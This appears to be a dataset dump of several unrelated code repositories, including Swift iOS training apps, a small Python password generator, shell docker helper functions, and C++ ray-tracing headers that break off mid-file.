branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<repo_name>AboutObjectsTraining/swift-ios-reston-2020-12<file_sep>/ReadingList/ReadingList/ReadingListController.swift // Copyright (C) 2020 About Objects, Inc. All Rights Reserved. // See LICENSE.txt for this project's licensing information. import UIKit class ReadingListController: UITableViewController { @IBOutlet var storeController: ReadingListStore! lazy var readingList = storeController.fetch() override func viewDidLoad() { super.viewDidLoad() navigationItem.rightBarButtonItem = editButtonItem } override func prepare(for segue: UIStoryboardSegue, sender: Any?) { switch segue.identifier ?? "" { case "View": guard let indexPath = tableView.indexPathForSelectedRow, let controller = segue.destination as? ViewBookController else { return } controller.book = readingList.book(at: indexPath) case "Add": guard let navController = segue.destination as? UINavigationController, let controller = navController.children.first as? AddBookController else { return } controller.done = { [weak self] book in self?.insert(book: book) } default: break } } private func insert(book: Book) { let indexPath = IndexPath(row: 0, section: 0) readingList.insert(book: book, at: indexPath) tableView.scrollToRow(at: indexPath, at: .top, animated: true) } } // MARK: - Unwind segues extension ReadingListController { @IBAction func done(unwindSegue: UIStoryboardSegue) { tableView.reloadData() storeController.save(readingList: readingList) } @IBAction func cancel(unwindSegue: UIStoryboardSegue) { } } // MARK: - UITableViewDataSource methods extension ReadingListController { override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return readingList.books.count } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { guard let cell: UITableViewCell = tableView.dequeueReusableCell(withIdentifier: "Book Cell") else { fatalError("Unable to obtain cell. Check the reuse identifier in the storyboard.") } let book = readingList.book(at: indexPath) cell.textLabel?.text = book.title cell.detailTextLabel?.text = "\(book.year ?? "----"), \(book.author?.fullName ?? "Unknown")" return cell } override func tableView(_ tableView: UITableView, commit editingStyle: UITableViewCell.EditingStyle, forRowAt indexPath: IndexPath) { readingList.removeBook(at: indexPath) tableView.deleteRows(at: [indexPath], with: .automatic) storeController.save(readingList: readingList) } override func tableView(_ tableView: UITableView, moveRowAt sourceIndexPath: IndexPath, to destinationIndexPath: IndexPath) { readingList.moveBook(at: sourceIndexPath, to: destinationIndexPath) storeController.save(readingList: readingList) } } // MARK: - UITableViewDataSource experiments //extension ReadingListController { // // override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { // return 100 // } // // override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { // var cell: UITableViewCell // // if let cachedCell = tableView.dequeueReusableCell(withIdentifier: "My Cool Cell") { // cell = cachedCell // } else { // cell = UITableViewCell(style: .default, reuseIdentifier: "My Cool Cell") // } // // cell.textLabel?.text = "Row \(indexPath.row + 1)" // return cell // } //} <file_sep>/Labs/LabsTests/LabsTests.swift // Copyright (C) 2020 About Objects, Inc. All Rights Reserved. // See LICENSE.txt for this project's licensing information. import XCTest //@testable import Labs class TemperatureTests: XCTestCase { func testFoo() { } } <file_sep>/Coolness/Coolness/CoolController.swift // Copyright (C) 2020 About Objects, Inc. All Rights Reserved. // See LICENSE.txt for this project's licensing information. import UIKit extension CoolController: UITextFieldDelegate { func textFieldShouldReturn(_ textField: UITextField) -> Bool { print("In \(#function)") textField.resignFirstResponder() return true } } class CoolController: UIViewController { private var textField: UITextField? private var contentView: UIView? @objc private func addCell() { print("In \(#function), text is \(textField?.text ?? "")") let newCell = CoolViewCell() newCell.text = textField?.text contentView?.addSubview(newCell) } override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { print("In \(#function) in \(type(of: self))") super.touchesBegan(touches, with: event) } override func loadView() { view = UIView() view.backgroundColor = UIColor.brown let screenRect = UIScreen.main.bounds let (accessoryRect, contentRect) = screenRect.divided(atDistance: 90, from: .minYEdge) let accessoryView = UIView(frame: accessoryRect) let contentView = UIView(frame: contentRect) self.contentView = contentView contentView.clipsToBounds = true view.addSubview(accessoryView) view.addSubview(contentView) accessoryView.backgroundColor = UIColor(white: 1, alpha: 0.6) contentView.backgroundColor = UIColor(white: 1, alpha: 0.4) // Controls textField = UITextField(frame: CGRect(x: 15, y: 50, width: 240, height: 30)) accessoryView.addSubview(textField!) textField?.placeholder = "Enter a label" textField?.borderStyle = .roundedRect textField?.clearButtonMode = .whileEditing textField?.delegate = self let button = UIButton(type: .system) accessoryView.addSubview(button) button.setTitle("Add Cell", for: .normal) button.sizeToFit() button.frame = button.frame.offsetBy(dx: 265, dy: 50) button.addTarget(self, action: #selector(addCell), for: .touchUpInside) // Cool Cells let cell1 = CoolViewCell(frame: CGRect(x: 20, y: 60, width: 200, height: 40)) let cell2 = CoolViewCell(frame: CGRect(x: 50, y: 120, width: 200, height: 40)) contentView.addSubview(cell1) contentView.addSubview(cell2) cell1.text = "Hello World! 🌍🌎🌏" cell2.text = "Cool Cells Rock! 🥂🍾" cell1.backgroundColor = UIColor.systemPurple cell2.backgroundColor = UIColor.systemOrange } } <file_sep>/Labs/LabsTests/TemperatureTests.swift // Copyright (C) 2020 About Objects, Inc. All Rights Reserved. // See LICENSE.txt for this project's licensing information. import XCTest //@testable import Labs func convertToCelsius(fahrenheit: Double) -> Double { return 0.0 } class TemperatureTests: XCTestCase { func testFahrenheitToCelsius() { let fahrenheitValue = 32.0 let celsiusValue = convertToCelsius(fahrenheit: fahrenheitValue) print("\(fahrenheitValue)° F equals \(celsiusValue)° C") XCTAssertEqual(0.0, celsiusValue, accuracy: 0.0001) } } <file_sep>/ReadingList/ReadingList/AddBookController.swift // Copyright (C) 2020 About Objects, Inc. All Rights Reserved. // See LICENSE.txt for this project's licensing information. import UIKit class AddBookController: UITableViewController { var done: ((Book) -> Void)? @IBOutlet weak var titleField: UITextField! @IBOutlet weak var yearField: UITextField! @IBOutlet weak var firstNameField: UITextField! @IBOutlet weak var lastNameField: UITextField! var book: Book { return Book(dictionary: [Book.Keys.title: titleField.text ?? "", Book.Keys.year: yearField.text ?? "", Book.Keys.author: [Author.Keys.firstName: firstNameField.text ?? "", Author.Keys.lastName: lastNameField.text ?? ""]]) } override func prepare(for segue: UIStoryboardSegue, sender: Any?) { if segue.identifier == "Done" { done?(book) } } } <file_sep>/Labs/LabsTests/CollectionTests.swift // Copyright (C) 2020 About Objects, Inc. All Rights Reserved. // See LICENSE.txt for this project's licensing information. import XCTest class CollectionTests: XCTestCase { func testFoo() { let x: Int? = 12 if let unwrappedX = x { print(unwrappedX) } } } <file_sep>/Coolness/Coolness/AppDelegate.swift // Copyright (C) 2020 About Objects, Inc. All Rights Reserved. // See LICENSE.txt for this project's licensing information. import UIKit @main class AppDelegate: UIResponder, UIApplicationDelegate { var window: UIWindow? func applicationDidFinishLaunching(_ application: UIApplication) { window = UIWindow() window?.rootViewController = CoolController() window?.backgroundColor = UIColor.systemYellow window?.makeKeyAndVisible() } override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { print("In \(#function) in \(type(of: self))") } // override func touchesMoved(_ touches: Set<UITouch>, with event: UIEvent?) { // let touch = touches.first // guard // let currLocation = touch?.location(in: nil), // let prevLocation = touch?.previousLocation(in: nil) // else { // return // } // // let dx = currLocation.x - prevLocation.x // let dy = currLocation.y - prevLocation.y // // touch?.view?.frame.origin.x += dx // touch?.view?.frame.origin.y += dy // } }
eeadcfe79565dc67cf2ddeee1a38ab1288cc9bb4
[ "Swift" ]
7
Swift
AboutObjectsTraining/swift-ios-reston-2020-12
ff178437e885eded40e6f706639fef9eb4d8387f
108ce8cbef5e3876efa3d56914f51ffbd34f30d9
refs/heads/master
<file_sep>import random import string class Generator: def Random_password(): final_password = "" password_length = 0 password_n = [] password_a = [] password_p = [] password_a = string.ascii_letters password_n = string.digits password_p = string.punctuation ts_final_password = [] while password_length < 12: ts_final_password.append (password_a[random.randint(0, len(password_a)-1)]) ts_final_password.append(password_p[random.randint(0, len(password_p)-1)]) ts_final_password.append(password_n[random.randint(0, len(password_n)-1)]) password_length += 1 password_length = 0 i=0 while password_length < 12: final_password += ts_final_password[random.randint(0, len(ts_final_password)-1)] password_length += 1 while i<11: if final_password[i] == final_password[i+1]: final_password[i+1] = "}" i+=1 return(final_password) user_input = input("""For what platform is the password? > """) print(f"""The following is your {user_input} password: """+ Generator.Random_password())
597cc3386b5b8bcb9c865dcc7b9eb029a88f7c1a
[ "Python" ]
1
Python
CASherrard-GH/Python-Sprint-3-Password-generator-
b89775affde62a420b1fcb78e18dac1df5f744f1
634633708e32b305557034622f5d039e96878881
refs/heads/master
<file_sep>#!/bin/bash function docker-connect () { eval $(docker-machine env $1) } function docker-unset () { eval $(docker-machine env --unset) } function docker-cleanup () { docker rm `docker ps -aq` docker rmi `docker images -qf 'dangling=true'` } function docker-build () { local should_push=false local repository= local dockerfile=Dockerfile.prod local latest=true local additional_tags='' local verbose=false local context_path='.' local build_args='' while [ "$1" != "" ]; do case $1 in -v | --verbose ) verbose=true ;; -p | --push ) should_push=true ;; --no-latest ) latest=false ;; -r | --repository ) shift repository=$1 ;; -t | --tag ) shift additional_tags=$1\ $additional_tags ;; -c | --context-path ) shift context_path=$1 ;; -f | --dockerfile ) shift dockerfile=$1 ;; --build-args-file ) shift build_args=$(read_build_args_file $1) ;; -- ) shift break ;; esac shift done local build_command="docker build -f $dockerfile $build_args $@ '$context_path'" if [[ $verbose == true ]]; then echo "should_push: $should_push" echo "repository: $repository" echo "dockerfile: $dockerfile" echo "latest: $latest" echo "additional_tags: $additional_tags" echo "build_command: $build_command" echo "context_path: $context_path" fi [[ -z "$repository" ]] && echo 'Please provide a --repository' && return [ ! -f $dockerfile ] && echo 'Coud not find '$dockerfile && return eval $(docker-machine env --unset) build_output=$(eval $build_command | tee /dev/tty) image_tag=$(tail -n 1 <<< $build_output | sed s/Successfully\ built\ //) # image_tag=$(eval $build_command | tee /dev/tty | ruby -ne 'puts $_[-1..-12]') docker tag $image_tag $repository:$image_tag $latest && docker tag $image_tag $repository':latest' [[ ! -z "$additional_tags" ]] && for tag in $(echo $additional_tags); do docker tag $image_tag $repository:$tag; done if [[ $should_push == true ]]; then if gcloud docker -- push $repository; then local_images=$(docker images -q $repository) old_images=$(printf "$local_images" | tail -n +4) # latest, t1, t2 $verbose && echo "Hosekeeping! Will delete the following images: $old_images" if [ $(wc -w <<< "$old_images") -gt 0 ]; then docker rmi $(for tag in `echo $old_images`; do echo $repository':'$tag; done) fi fi fi echo '===================================================' echo "Finished with tag: $image_tag" } function read_build_args_file () { local build_args for env_pair in `cat $1`; do; build_args=$build_args" --build-arg "$env_pair done echo $build_args } function compose-alias () { a='docker-compose -f docker-compose.yml -f docker-compose.' b='.yml' alias docker-compose=$a$1$b alias docker-compose } function swarm-inspect () { local filename=$(date "+%Y%m%d%H%M%S")_swarm-state.txt while [ "$1" != "" ]; do case $1 in -f | --filename ) shift filename=$1 ;; esac shift done figlet services >> $filename for name in `docker service ls -q`; do docker service inspect $name >> $filename done figlet networks >> $filename for network in `docker network ls -q`; do docker network inspect $network >> $filename done cat $filename } <file_sep>#!/bin/bash source $(dirname $0)/docker-utils source $(dirname $0)/etcetera <file_sep>echo "source $(pwd)/manifest" >> ~/.zshrc
d6c027f46ec960f1e9c72a023cf4b39ca5d392f7
[ "Shell" ]
3
Shell
beta-uy/dotfiles
6ecd70350822919c812dd19bc29982cf6ffbece8
96e97a23119c0427cdaf2470bcb0f0512d27422b
refs/heads/master
<repo_name>linushen/infob<file_sep>/histog.cpp #include <iostream> using namespace std; struct zaehler{ char buchstabe; int wieoft; }; int main(){ int groesse_abfrage; cout << "Wie gross ist dein text?", cin >> groesse_abfrage; const int groesse = groesse_abfrage + 1; char text[6]; cin >> text; int o=0; int d=0; zaehler a; char e; zaehler liste[25]; zaehler c; for(int i=0; i<26; i++){ char b=97; c.buchstabe = b+i; c.wieoft = 0; liste[i]=c; } while (d<groesse-1){ e=text[d]; while (true){ a = liste[o]; if(e==a.buchstabe){ liste[o].wieoft=liste[o].wieoft+1; o=0; break; }else if(o==26){ cout << "Fehler " << e << " kann nicht gezaehlt werden" <<endl; o=0; break; } o++; } d++; } for(int i=0; i<26; i++){ a.buchstabe = liste[i].buchstabe; a.wieoft = liste[i].wieoft; cout << a.buchstabe<< " " << a.wieoft <<endl; } return 0; } // Tests // Linus@Linus-Pc ~/code/infob // $ g++ -Wall -Wextra -Werror -pedantic -std=c++14 histog.cpp // Linus@Linus-Pc ~/code/infob // $ ./a.exe // Wie gross ist dein text?5 // hallo // a 1 // b 0 // c 0 // d 0 // e 0 // f 0 // g 0 // h 1 // i 0 // j 0 // k 0 // l 2 // m 0 // n 0 // o 1 // p 0 // q 0 // r 0 // s 0 // t 0 // u 0 // v 0 // w 0 // x 0 // y 0 // z 0<file_sep>/aufgabe2.cpp #include <iostream> using namespace std; int i=0; int j=1; int t=0; void f(int a[], int size){ if(t<size){ if(i<size-1){ if(a[i]<a[i+j]){ ::i=i+j; ::j=1; f(a, size); }else{ ::j++; f(a, size); } }else{ int zwischen= a[size-(t+1)]; a[size-(t+1)]=a[i]; a[i]=zwischen; ::i=0; ::j=1; ::t++; f(a, size-t); } } } int main(){ int c; char variable; cout << "Wie lang ist das Array? "; cin >> c; int a[c]; for(int i=0; i<c; i++){ cout << "Im Array soll stehen: "; cin >>variable; a[i]=variable; } for (int i = 0; i < c-1; i++){ cout << a[i]<<endl; } f(a, c); for (int i = 0; i < c-1; i++){ cout << a[i]; } return 0; }<file_sep>/ascii.cpp #include <iostream> int main(){ char buchstabe = 97; char buchstabe2 = 122; std::cout << buchstabe << std::endl; std::cout << buchstabe2 << std::endl; return 0; }
9a797f9e07d3b44abab6cffa4889464e53660611
[ "C++" ]
3
C++
linushen/infob
8f94d7fafd1a0703d16e7b4b1c0988fb39a6f3d9
914497b8d88713bdf4326f071921c4cc1ba1be61
refs/heads/master
<file_sep>#ifndef RT_HPP #define RT_HPP #include <glm/glm.hpp> #include <glm/gtx/quaternion.hpp> using namespace glm; using int2 = ivec2; using int3 = ivec3; using int4 = ivec4; using uint2 = uvec2; using uint3 = uvec3; using uint4 = uvec4; using float2 = vec2; using float3 = vec3; using float4 = vec4; using float2x2 = mat2; using float3x3 = mat3; using float4x4 = mat4; #include "utils.hpp" static constexpr float PI = 3.1415926; static constexpr float TWO_PI = 6.2831852; static constexpr float FOUR_PI = 12.566370; static constexpr float INV_PI = 0.3183099; static constexpr float INV_TWO_PI = 0.1591549; static constexpr float INV_FOUR_PI = 0.0795775; static constexpr float DIELECTRIC_SPECULAR = 0.04; // https://github.com/graphitemaster/normals_revisited static float minor(const float m[16], int r0, int r1, int r2, int c0, int c1, int c2) { return m[4 * r0 + c0] * (m[4 * r1 + c1] * m[4 * r2 + c2] - m[4 * r2 + c1] * m[4 * r1 + c2]) - m[4 * r0 + c1] * (m[4 * r1 + c0] * m[4 * r2 + c2] - m[4 * r2 + c0] * m[4 * r1 + c2]) + m[4 * r0 + c2] * (m[4 * r1 + c0] * m[4 * r2 + c1] - m[4 * r2 + c0] * m[4 * r1 + c1]); } static void cofactor(const float src[16], float dst[16]) { dst[0] = minor(src, 1, 2, 3, 1, 2, 3); dst[1] = -minor(src, 1, 2, 3, 0, 2, 3); dst[2] = minor(src, 1, 2, 3, 0, 1, 3); dst[3] = -minor(src, 1, 2, 3, 0, 1, 2); dst[4] = -minor(src, 0, 2, 3, 1, 2, 3); dst[5] = minor(src, 0, 2, 3, 0, 2, 3); dst[6] = -minor(src, 0, 2, 3, 0, 1, 3); dst[7] = minor(src, 0, 2, 3, 0, 1, 2); dst[8] = minor(src, 0, 1, 3, 1, 2, 3); dst[9] = -minor(src, 0, 1, 3, 0, 2, 3); dst[10] = minor(src, 0, 1, 3, 0, 1, 3); dst[11] = -minor(src, 0, 1, 3, 0, 1, 2); dst[12] = -minor(src, 0, 1, 2, 1, 2, 3); dst[13] = minor(src, 0, 1, 2, 0, 2, 3); dst[14] = -minor(src, 0, 1, 2, 0, 1, 3); dst[15] = minor(src, 0, 1, 2, 0, 1, 2); } static float4x4 cofactor(float4x4 const &in) { float4x4 out; cofactor(&in[0][0], &out[0][0]); return out; } static inline float halton(int i, int base) { float x = 1.0f / base, v = 0.0f; while (i > 0) { v += x * (i % base); i = floor(i / base); x /= base; } return v; } struct PCG { u64 state = 0x853c49e6748fea9bULL; u64 inc = 0xda3e39cb94b95bdbULL; u32 next() { uint64_t oldstate = state; state = oldstate * 6364136223846793005ULL + inc; uint32_t xorshifted = uint32_t(((oldstate >> 18u) ^ oldstate) >> 27u); int rot = oldstate >> 59u; return (xorshifted >> rot) | (xorshifted << ((-rot) & 31)); } f64 nextf() { return double(next()) / UINT32_MAX; } }; class Random_Factory { public: float rand_unit_float() { return float(pcg.nextf()); } float3 rand_unit_cube() { return float3{rand_unit_float() * 2.0 - 1.0, rand_unit_float() * 2.0 - 1.0, rand_unit_float() * 2.0 - 1.0}; } // Random unsigned integer in the range [begin, end) u32 uniform(u32 begin, u32 end) { ASSERT_PANIC(end > begin); u32 range = end - begin; u32 mod = UINT32_MAX % range; if (mod == 0) return (pcg.next() % range) + begin; // Kill the bias u32 new_max = UINT32_MAX - mod; while (true) { u32 rand = pcg.next(); if (rand > new_max) continue; return (rand % range) + begin; } } // Z is up here float3 polar_to_cartesian(float sinTheta, float cosTheta, float sinPhi, float cosPhi) { return float3(sinTheta * cosPhi, sinTheta * sinPhi, cosTheta); } // Z is up here float3 uniform_sample_cone(float cos_theta_max, float3 xbasis, float3 ybasis, float3 zbasis) { vec2 rand = vec2(rand_unit_float(), rand_unit_float()); float cosTheta = (1.0f - rand.x) + rand.x * cos_theta_max; float sinTheta = std::sqrt(1.0f - cosTheta * cosTheta); float phi = rand.y * PI * 2.0f; float3 samplev = polar_to_cartesian(sinTheta, cosTheta, sin(phi), cos(phi)); return samplev.x * xbasis + samplev.y * ybasis + samplev.z * zbasis; } float3 rand_unit_sphere() { while (true) { float3 pos = rand_unit_cube(); if (dot(pos, pos) <= 1.0f) return pos; } } float3 rand_unit_sphere_surface() { while (true) { float3 pos = rand_unit_cube(); f32 len2 = dot(pos, pos); if (len2 <= 1.0f) return pos / std::sqrt(len2); } } float3 sample_lambert_BRDF(float3 N) { return normalize(N + rand_unit_sphere()); } vec2 random_halton() { f32 u = halton(halton_id + 1, 2); f32 v = halton(halton_id + 1, 3); halton_id++; return vec2(u, v); } static float3 SampleHemisphere_Cosinus(float2 xi) { float phi = xi.y * 2.0 * PI; float cosTheta = std::sqrt(1.0 - xi.x); float sinTheta = std::sqrt(1.0 - cosTheta * cosTheta); return vec3(std::cos(phi) * sinTheta, std::sin(phi) * sinTheta, cosTheta); } private: PCG pcg; u32 halton_id = 0; }; enum class Format_t { RGBA8_UNORM = 0, RGBA8_SRGB, RGB8_UNORM, RG32_FLOAT, RGB32_FLOAT, RGBA32_FLOAT, }; struct Image2D_Raw { u32 width; u32 height; Format_t format; u8 * data; void init(u32 width, u32 height, Format_t format, u8 *data) { MEMZERO(*this); this->width = width; this->height = height; this->format = format; u32 size = get_bpp() * width * height; this->data = (u8 *)tl_alloc(size); memcpy(this->data, data, size); } void release() { if (data != NULL) tl_free(data); MEMZERO(*this); } u32 get_bpp() { switch (format) { case Format_t::RGBA8_UNORM: case Format_t::RGBA8_SRGB: return 4u; case Format_t::RGB32_FLOAT: return 12u; default: ASSERT_PANIC(false && "unsupported format"); } } vec4 load(uint2 coord) { u32 bpc = 4u; switch (format) { case Format_t::RGBA8_UNORM: case Format_t::RGBA8_SRGB: bpc = 4u; break; case Format_t::RGB32_FLOAT: bpc = 12u; break; default: ASSERT_PANIC(false && "unsupported format"); } auto load_f32 = [&](uint2 coord, u32 component) { uint2 size = uint2(width, height); return *( f32 *)&data[coord.x * bpc + coord.y * size.x * bpc + component * 4u]; }; uint2 size = uint2(width, height); if (coord.x >= size.x) coord.x = size.x - 1; if (coord.y >= size.y) coord.y = size.y - 1; switch (format) { case Format_t::RGBA8_UNORM: { u8 r = data[coord.x * bpc + coord.y * size.x * bpc]; u8 g = data[coord.x * bpc + coord.y * size.x * bpc + 1u]; u8 b = data[coord.x * bpc + coord.y * size.x * bpc + 2u]; u8 a = data[coord.x * bpc + coord.y * size.x * bpc + 3u]; return vec4(float(r) / 255.0f, float(g) / 255.0f, float(b) / 255.0f, float(a) / 255.0f); } case Format_t::RGBA8_SRGB: { u8 r = data[coord.x * bpc + coord.y * size.x * bpc]; u8 g = data[coord.x * bpc + coord.y * size.x * bpc + 1u]; u8 b = data[coord.x * bpc + coord.y * size.x * bpc + 2u]; u8 a = data[coord.x * bpc + coord.y * size.x * bpc + 3u]; auto out = vec4(float(r) / 255.0f, float(g) / 255.0f, float(b) / 255.0f, float(a) / 255.0f); out.r = std::pow(out.r, 2.2f); out.g = std::pow(out.g, 2.2f); out.b = std::pow(out.b, 2.2f); out.a = std::pow(out.a, 2.2f); return out; } case Format_t::RGB32_FLOAT: { f32 r = load_f32(coord, 0u); f32 g = load_f32(coord, 1u); f32 b = load_f32(coord, 2u); return vec4(r, g, b, 1.0f); } default: ASSERT_PANIC(false && "unsupported format"); } }; vec4 sample(vec2 uv) { ivec2 size = ivec2(width, height); vec2 suv = uv * vec2(float(size.x - 1u), float(size.y - 1u)); ivec2 coord[] = { ivec2(i32(suv.x), i32(suv.y)), ivec2(i32(suv.x), i32(suv.y + 1.0f)), ivec2(i32(suv.x + 1.0f), i32(suv.y)), ivec2(i32(suv.x + 1.0f), i32(suv.y + 1.0f)), }; ito(4) { // Repeat jto(2) { while (coord[i][j] >= size[j]) coord[i][j] -= size[j]; while (coord[i][j] < 0) coord[i][j] += size[j]; } } vec2 fract = vec2(suv.x - std::floor(suv.x), suv.y - std::floor(suv.y)); float weights[] = { (1.0f - fract.x) * (1.0f - fract.y), (1.0f - fract.x) * (fract.y), (fract.x) * (1.0f - fract.y), (fract.x) * (fract.y), }; vec4 result = vec4(0.0f, 0.0f, 0.0f, 0.0f); ito(4) result += load(uint2(coord[i].x, coord[i].y)) * weights[i]; return result; }; }; enum class Index_t { U32, U16 }; enum class Attribute_t { NONE = 0, POSITION, NORMAL, BINORMAL, TANGENT, UV0, UV1, UV2, UV3 }; static inline float3 safe_normalize(float3 v) { return v / (glm::length(v) + 1.0e-5f); } struct Vertex_Full { float3 position; float3 normal; float3 binormal; float3 tangent; float2 u0; float2 u1; float2 u2; float2 u3; Vertex_Full transform(float4x4 const &transform) { Vertex_Full out; float4x4 cmat = cofactor(transform); out.position = float3(transform * float4(position, 1.0f)); out.normal = safe_normalize(float3(cmat * float4(normal, 0.0f))); out.tangent = safe_normalize(float3(cmat * float4(tangent, 0.0f))); out.binormal = safe_normalize(float3(cmat * float4(binormal, 0.0f))); out.u0 = u0; out.u1 = u1; out.u2 = u2; out.u3 = u3; return out; } }; struct Tri_Index { u32 i0, i1, i2; }; struct Triangle_Full { Vertex_Full v0; Vertex_Full v1; Vertex_Full v2; }; // We are gonna use one simplified material schema for everything struct PBR_Material { // R8G8B8A8 i32 normal_id = -1; // R8G8B8A8 i32 albedo_id = -1; // R8G8B8A8 // AO+Roughness+Metalness i32 arm_id = -1; f32 metal_factor = 1.0f; f32 roughness_factor = 1.0f; float4 albedo_factor = float4(1.0f); }; struct Raw_Mesh_Opaque { struct Attribute { Attribute_t type; Format_t format; u32 offset; }; Array<u8> attribute_data; Array<u8> index_data; Index_t index_type; InlineArray<Attribute, 16> attributes; u32 vertex_stride; u32 num_vertices; u32 num_indices; void init() { attributes.init(); attribute_data.init(); index_data.init(); vertex_stride = 0; } void release() { attributes.release(); attribute_data.release(); index_data.release(); vertex_stride = 0; } float3 fetch_position(u32 index) { ito(attributes.size) { switch (attributes[i].type) { case Attribute_t::POSITION: ASSERT_PANIC(attributes[i].format == Format_t::RGB32_FLOAT); float3 pos; memcpy(&pos, attribute_data.at(index * vertex_stride + attributes[i].offset), 12); return pos; default: break; } } TRAP; } Vertex_Full fetch_vertex(u32 index) { Vertex_Full v; MEMZERO(v); ito(attributes.size) { switch (attributes[i].type) { case Attribute_t::NORMAL: ASSERT_PANIC(attributes[i].format == Format_t::RGB32_FLOAT); memcpy(&v.normal, attribute_data.at(index * vertex_stride + attributes[i].offset), 12); break; case Attribute_t::BINORMAL: ASSERT_PANIC(attributes[i].format == Format_t::RGB32_FLOAT); memcpy(&v.binormal, attribute_data.at(index * vertex_stride + attributes[i].offset), 12); break; case Attribute_t::TANGENT: ASSERT_PANIC(attributes[i].format == Format_t::RGB32_FLOAT); memcpy(&v.tangent, attribute_data.at(index * vertex_stride + attributes[i].offset), 12); break; case Attribute_t::POSITION: ASSERT_PANIC(attributes[i].format == Format_t::RGB32_FLOAT); memcpy(&v.position, attribute_data.at(index * vertex_stride + attributes[i].offset), 12); break; case Attribute_t::UV0: ASSERT_PANIC(attributes[i].format == Format_t::RG32_FLOAT); memcpy(&v.u0, attribute_data.at(index * vertex_stride + attributes[i].offset), 8); break; case Attribute_t::UV1: ASSERT_PANIC(attributes[i].format == Format_t::RG32_FLOAT); memcpy(&v.u1, attribute_data.at(index * vertex_stride + attributes[i].offset), 8); break; case Attribute_t::UV2: ASSERT_PANIC(attributes[i].format == Format_t::RG32_FLOAT); memcpy(&v.u2, attribute_data.at(index * vertex_stride + attributes[i].offset), 8); break; case Attribute_t::UV3: ASSERT_PANIC(attributes[i].format == Format_t::RG32_FLOAT); memcpy(&v.u3, attribute_data.at(index * vertex_stride + attributes[i].offset), 8); break; default: TRAP; } } return v; } Tri_Index get_tri_index(u32 id) { Tri_Index o; if (index_type == Index_t::U16) { o.i0 = (u32) * (u16 *)index_data.at(2 * (id * 3 + 0)); o.i1 = (u32) * (u16 *)index_data.at(2 * (id * 3 + 1)); o.i2 = (u32) * (u16 *)index_data.at(2 * (id * 3 + 2)); } else { o.i0 = (u32) * (u32 *)index_data.at(4 * (id * 3 + 0)); o.i1 = (u32) * (u32 *)index_data.at(4 * (id * 3 + 1)); o.i2 = (u32) * (u32 *)index_data.at(4 * (id * 3 + 2)); } return o; } Triangle_Full fetch_triangle(u32 id) { Tri_Index tind = get_tri_index(id); Vertex_Full v0 = fetch_vertex(tind.i0); Vertex_Full v1 = fetch_vertex(tind.i1); Vertex_Full v2 = fetch_vertex(tind.i2); return {v0, v1, v2}; } Vertex_Full interpolate_vertex(u32 index, float2 uv) { Triangle_Full face = fetch_triangle(index); Vertex_Full v0 = face.v0; Vertex_Full v1 = face.v1; Vertex_Full v2 = face.v2; float k1 = uv.x; float k2 = uv.y; float k0 = 1.0f - uv.x - uv.y; Vertex_Full vertex; vertex.normal = safe_normalize(v0.normal * k0 + v1.normal * k1 + v2.normal * k2); vertex.position = v0.position * k0 + v1.position * k1 + v2.position * k2; vertex.tangent = safe_normalize(v0.tangent * k0 + v1.tangent * k1 + v2.tangent * k2); vertex.binormal = safe_normalize(v0.binormal * k0 + v1.binormal * k1 + v2.binormal * k2); vertex.u0 = v0.u0 * k0 + v1.u0 * k1 + v2.u0 * k2; vertex.u1 = v0.u1 * k0 + v1.u1 * k1 + v2.u1 * k2; vertex.u2 = v0.u2 * k0 + v1.u2 * k1 + v2.u2 * k2; vertex.u3 = v0.u3 * k0 + v1.u3 * k1 + v2.u3 * k2; return vertex; } }; struct Transform_Node { float3 offset; quat rotation; float scale; float4x4 transform_cache; Array<u32> meshes; Array<u32> children; void init() { MEMZERO(*this); meshes.init(); children.init(); scale = 1.0f; transform_cache = float4x4(1.0f); } void release() { meshes.release(); children.release(); MEMZERO(*this); } void update_cache(float4x4 const &parent = float4x4(1.0f)) { transform_cache = parent * get_transform(); } float4x4 get_transform() { // return transform; return glm::translate(float4x4(1.0f), offset) * (float4x4)rotation * glm::scale(float4x4(1.0f), float3(scale, scale, scale)); } float4x4 get_cofactor() { mat4 out{}; mat4 transform = get_transform(); cofactor(&transform[0][0], &out[0][0]); } }; // To make things simple we use one format of meshes struct PBR_Model { Array<Image2D_Raw> images; Array<Raw_Mesh_Opaque> meshes; Array<PBR_Material> materials; Array<Transform_Node> nodes; void init() { images.init(); meshes.init(); materials.init(); nodes.init(); } void release() { ito(images.size) images[i].release(); images.release(); ito(meshes.size) meshes[i].release(); meshes.release(); materials.release(); ito(nodes.size) nodes[i].release(); nodes.release(); } }; PBR_Model load_gltf_pbr(string_ref filename); Image2D_Raw load_image(string_ref filename, Format_t format = Format_t::RGBA8_SRGB); #endif // RT_HPP<file_sep>#include "rt.hpp" //#define TRACY_ENABLE 1 //#define TRACY_HAS_CALLSTACK 1 //#define TRACY_NO_EXIT 1 #include <tracy/Tracy.hpp> #define UTILS_TL_IMPL 1 //#define UTILS_TL_IMPL_DEBUG //#define UTILS_TL_IMPL_TRACY 1 #define UTILS_TL_TMP_SIZE 1 << 27 #include "utils.hpp" #include <atomic> #include <condition_variable> #include <mutex> #include <thread> #define PACK_SIZE 16 //#ifdef UTILS_AVX512 #include <immintrin.h> struct vbool { static constexpr u32 WIDTH = 16; __mmask16 val; bool any() { return val != 0u; } bool all() { return val == 0xffffu; } bool none() { return val == 0u; } operator __mmask16() { return val; } bool is_enabled(u32 i) const { return (val & (1 << i)) != 0; } void enable(u32 i) { val = val | (1 << i); } void disable(u32 i) { val = val & ~(1 << i); } u32 popcnt() { return __popcnt16(val); } inline bool lsb(u32 &out) { unsigned long ret; char c = _BitScanForward(&ret, (long)val); out = (u32)ret; return c != 0; } inline bool take_lsb(u32 &out) { if (lsb(out)) { disable(out); return true; } return false; } vbool operator!() const { vbool b; b.val = ~val; return b; } vbool operator~() const { vbool b; b.val = ~val; return b; } vbool operator&&(vbool const &that) const { vbool b; b.val = val & that.val; return b; } vbool operator&(i32 that) const { vbool b; b.val 